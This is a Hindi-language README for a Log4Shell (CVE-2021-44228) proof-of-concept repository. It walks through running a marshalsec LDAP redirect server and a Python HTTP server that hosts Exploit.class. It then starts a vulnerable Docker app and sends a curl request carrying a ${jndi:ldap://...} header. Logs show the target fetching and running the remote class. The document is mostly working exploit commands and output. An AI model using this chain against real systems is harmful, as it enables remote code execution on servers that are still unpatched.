
CVE-2021-44228 के लिए PoC।
इस रिपॉजिटरी का उद्देश्य CVE-2021-44228, जिसे Log4Shell उपनाम दिया गया है, का शोषण करने के लिए आवश्यक सभी घटक प्रदान करना और यह दिखाना है कि इसका शोषण कैसे किया जाए।
इस कमजोरी का शोषण करने के लिए आवश्यक सामग्री निम्नलिखित हैं:
श्रेय:
पूर्वापेक्षाएँ:
LDAP सर्वर और HTTP सर्वर चलानाHTTP सर्वर1. exploit फ़ोल्डर में जाएँ और Python के माध्यम से http सर्वर शुरू करें।
python3 -m http.server PORT
LDAP सर्वर1. ldap_server फ़ोल्डर में जाएँ और pom.xml बनाएँ।
mvn clean package -DskipTests
2. target फ़ोल्डर में जाएँ और http_server_ip तथा http_server_port निर्दिष्ट करके सर्वर शुरू करें।
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
नोट: यह कमांड दुर्भावनापूर्ण ldap सर्वर को प्रत्येक ldap क्वेरी पर Exploit.class URI के साथ उत्तर देने के लिए बाध्य करके चलाता है।
कमजोर एप्लिकेशन चलानाDocker कमजोर एप्लिकेशन कंटेनर चलाएँ।
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
नोट: डिफ़ॉल्ट रूप से हम कमजोर एप्लिकेशन को पोर्ट 8080 पर चला रहे हैं, इसे बदलने के लिए स्वतंत्र महसूस करें।
एक बार vulnerable_application, ldap_server और http_server चल रहे हों, तो कमजोर सर्वर पर एक दुर्भावनापूर्ण HTTP अनुरोध भेजें।
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
vulnerable_application पेलोड को लॉग करेगा और एक ldap क्वेरी करेगा।
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
ldap_server Exploit.class URI के साथ उत्तर देगा।
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
http_server को Exploit.class का अनुरोध प्राप्त होगा।
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
अंत में, हम जाँच सकते हैं कि एक्सप्लॉइट ने पीड़ित फ़ाइलसिस्टम पर एक नई फ़ाइल बनाई है। इस उदाहरण में हमें Docker कंटेनर फ़ाइलसिस्टम की जाँच करने की आवश्यकता है।

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app